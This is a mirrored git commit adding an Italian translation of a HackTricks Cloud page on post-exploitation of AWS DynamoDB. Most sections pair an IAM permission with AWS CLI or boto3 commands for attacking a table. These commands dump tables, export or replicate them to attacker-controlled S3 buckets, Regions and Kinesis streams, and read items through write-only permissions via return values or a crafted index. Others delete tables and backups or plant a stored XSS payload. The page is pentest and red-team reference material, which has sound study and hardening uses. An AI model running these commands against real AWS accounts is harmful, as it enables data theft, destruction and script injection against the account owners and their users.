mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 11:44:59 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,537 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un attacker con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
```bash
|
||||
aws dynamodb batch-get-item --request-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
```bash
|
||||
aws dynamodb batch-get-item \
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** privesc indiretta mediante individuazione di informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere i valori da una sola tabella, data la chiave primaria della voce da recuperare:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"N": "205"
|
||||
}
|
||||
}
|
||||
```
|
||||
Con questa autorizzazione è anche possibile usare il metodo **`transact-get-items`** come:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
[
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Simile alle precedenti autorizzazioni**, questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per ottenere l'intero database in una richiesta.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
```bash
|
||||
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
```bash
|
||||
aws dynamodb query \
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potenziale impatto:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Puoi usare questo permesso per **dump l'intera tabella facilmente**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Questa permission consente inoltre di eseguire `batch-execute-statement` come:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ma è necessario specificare la primary key con un valore, quindi non è così utile.
|
||||
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un S3 bucket** a sua scelta:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato. Puoi verificare se la tabella lo ha con:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno della **`dynamodb:ExportTableToPointInTime`** permission:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impatto potenziale:** privesc indiretto ottenuto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che n**on fossero più nella tabella di produzione**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel backup della tabella
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Questo permesso permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se esiste già un item con la stessa chiave primaria, l'**intero item verrà sostituito** con il nuovo item. Se la chiave primaria non esiste, verrà **creato** un nuovo item con la chiave primaria specificata.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Create new item with XSS payload
|
||||
aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
### With add.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilities/bypasses tramite la possibilità di aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
### With key.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
}
|
||||
### and val.json
|
||||
{
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attacker con questa permission può **cancellare una tabella DynamoDB, causando perdita di dati**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di scenario di ripristino dopo un disastro**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di dati e incapacità di ripristinare da un backup durante uno scenario di disaster recovery.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se questo funziona effettivamente
|
||||
|
||||
Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streamare le modifiche, e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attacker di monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
|
||||
1. Abilitare uno stream su una tabella DynamoDB:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Descrivi lo stream per ottenere l'ARN e altri dettagli:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Ottieni il shard iterator usando l'ARN dello stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
|
||||
|
||||
### Leggere item tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'intera immagine pre-aggiornamento dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
|
||||
- Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target.
|
||||
- Prerequisiti: Devi conoscere la chiave primaria dell'item.
|
||||
|
||||
Esempio (aggiunge un attributo innocuo e exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso esclusivamente in scrittura.
|
||||
|
||||
**Impatto potenziale:** Leggere item arbitrari da una tabella con solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se viene utilizzata una CMK nella replica, potrebbero essere necessari permessi KMS per quella chiave.
|
||||
|
||||
Impatto potenziale: Replica dell'intera tabella verso una Region controllata dall'attaccante che consente una stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un attaccante con privilegi di scrittura transazionali può exfiltrate gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fallisce intenzionalmente una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in accesso in lettura alle chiavi mirate.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potential Impact: Leggere elementi arbitrari (per chiave primaria) da una table usando solo privilegi di write transazionali tramite i returned cancellation reasons.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Evitare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi `Query` l'index per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla base table è negato, purché sia possibile interrogare l'index ARN.
|
||||
|
||||
- Permessi minimi:
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passaggi (PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impatto potenziale:** Full table exfiltration interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Abusando dei DynamoDB Kinesis streaming destinations per exfiltrate continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento `INSERT`/`MODIFY`/`REMOVE` viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
|
||||
|
||||
Permessi minimi (attaccante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target
|
||||
- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato
|
||||
- Permessi di lettura sul Kinesis stream posseduto dall'attaccante per consumare i record: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Impatto potenziale:** Continuo, quasi in tempo reale exfiltration delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user